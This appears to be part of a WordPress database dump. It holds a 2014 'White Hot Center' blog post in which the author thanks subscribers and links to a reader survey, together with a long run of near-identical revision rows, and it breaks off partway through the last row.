(2672, 2, '2014-07-23 11:51:34', '2014-07-23 18:51:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\r\nOver the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'publish', 'open', 'open', '', 'the-white-hot-center-is-growing', '', '', '2014-07-23 11:51:34', '2014-07-23 18:51:34', '', 0, 'http://www.whitehotcenter.com/?p=2672', 0, 'post', '', 0),
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(2674, 2, '2014-07-23 11:33:36', '2014-07-23 18:33:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\n\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\n\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\n\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\n\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\n\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\n\nHere’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:\n\n&nbsp;\n\n<strong>Thank you in advance for your help!</strong>\n\n&nbsp;\n\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision', '', '', '2014-07-23 11:33:36', '2014-07-23 18:33:36', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision/', 0, 'revision', '', 0);
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(2675, 2, '2014-07-23 11:33:46', '2014-07-23 18:33:46', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n\r\nHere’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:\r\n\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-2', '', '', '2014-07-23 11:33:46', '2014-07-23 18:33:46', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-2/', 0, 'revision', '', 0),
(2676, 2, '2014-07-23 11:33:50', '2014-07-23 18:33:50', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n\r\nHere’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:\r\n\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-3', '', '', '2014-07-23 11:33:50', '2014-07-23 18:33:50', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-3/', 0, 'revision', '', 0),
(2677, 2, '2014-07-23 11:34:47', '2014-07-23 18:34:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n<h2>Here’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:</h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-4', '', '', '2014-07-23 11:34:47', '2014-07-23 18:34:47', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-4/', 0, 'revision', '', 0),
(2678, 2, '2014-07-23 11:34:51', '2014-07-23 18:34:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n<h2>Here’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:</h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-5', '', '', '2014-07-23 11:34:51', '2014-07-23 18:34:51', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-5/', 0, 'revision', '', 0),
(2679, 2, '2014-07-23 11:40:34', '2014-07-23 18:40:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n<h2>Here’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:</h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-6', '', '', '2014-07-23 11:40:34', '2014-07-23 18:40:34', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-6/', 0, 'revision', '', 0),
(2680, 2, '2014-07-23 11:40:38', '2014-07-23 18:40:38', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n<h2>Here’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:</h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-7', '', '', '2014-07-23 11:40:38', '2014-07-23 18:40:38', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-7/', 0, 'revision', '', 0),
(2681, 2, '2014-07-23 11:40:45', '2014-07-23 18:40:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n\r\n<strong></strong>To help me deliver on that promise, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.\r\n<h2>Here’s the link to the <a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Survey</a>:</h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-8', '', '', '2014-07-23 11:40:45', '2014-07-23 18:40:45', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-8/', 0, 'revision', '', 0),
(2682, 2, '2014-07-23 11:44:19', '2014-07-23 18:44:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-9', '', '', '2014-07-23 11:44:19', '2014-07-23 18:44:19', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-9/', 0, 'revision', '', 0),
(2683, 2, '2014-07-23 11:44:22', '2014-07-23 18:44:22', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business over the years, advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who subscribe to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work commenting and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-10', '', '', '2014-07-23 11:44:22', '2014-07-23 18:44:22', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-10/', 0, 'revision', '', 0),
(2684, 2, '2014-07-23 11:49:00', '2014-07-23 18:49:00', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-11', '', '', '2014-07-23 11:49:00', '2014-07-23 18:49:00', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-11/', 0, 'revision', '', 0),
(2685, 2, '2014-07-23 11:49:04', '2014-07-23 18:49:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\r\nIn the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-12', '', '', '2014-07-23 11:49:04', '2014-07-23 18:49:04', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-12/', 0, 'revision', '', 0),
(2686, 2, '2014-07-23 11:50:12', '2014-07-23 18:50:12', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\r\nOver the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of strategic business development.\r\n\r\nIt amazes me to say to you there are over 150 blog posts and counting. And the loyal readers who have subscribed to the White Hot Center blog directly has grown to a community of nearly 500!  I’m very thankful to you all for believing in my work, commenting, and sharing my stuff to your social network.\r\n\r\nOnce or twice a day now a new subscriber joins our conversation and our community. Each one is a precious vote of confidence that keeps me going, striving and learning to be better!\r\n\r\n<strong>As a result, I am more inspired than ever to bring content to you that will inspire you to greater levels of personal success however you define it. </strong>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Here’s the link to the Survey</a></h2>\r\n<strong>Thank you in advance for your help!</strong>\r\n\r\n<em>If you like the content here and you’re not a subscriber, please become one above!</em>', 'The White Hot Center is Growing!', 0, '', 'inherit', 'open', 'open', '', '2672-revision-13', '', '', '2014-07-23 11:50:12', '2014-07-23 18:50:12', '', 2672, 'http://www.whitehotcenter.com/2014/07/2672-revision-13/', 0, 'revision', '', 0),
(2687, 2, '2014-07-23 11:50:16', '2014-07-23 18:50:16', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg"><img class="alignnone size-full wp-image-2673" title="The White Hot Center is Growing!" src="http://whc.fbdev.org/wp-content/uploads/2014/07/growth-e1363826149747.jpg" alt="" width="515" height="312" /></a>\r\n<h1>Thanks to all you White Hot Center subscribers, I’m happy to report we are truly a growing community of like-minded creative entrepreneurs!</h1>\r\n<h2>To create more inspiring and useful content here on the blog, I’d like to ask your help by taking a quick anonymous 6-question survey that will help me learn what matters most to you on your journey bringing greater value to the world. With that insight, I can bring more relevant and useful information to our growing community of early-stage entrepreneurs.</h2>\r\n<h2><a title="White Hot Center Survey" href="https://www.surveymonkey.com/s/FQLXDF2" target="_blank">Click the link to the Survey</a></h2>\r\nOver the past five years, the White Hot Center blog has been a rewarding labor of love for me.  Beyond all other creative pursuits I have experienced in my professional life, nothing comes close to my passion for growing the White Hot Center community.\r\n\r\nAs many of you know, I started the blog simply to share my experiences and knowledge about the “inner game” of business and life success.  In my own consulting business advising hundreds of business owners, I have always found the mindset for personal achievement to be the most fascinating aspect of 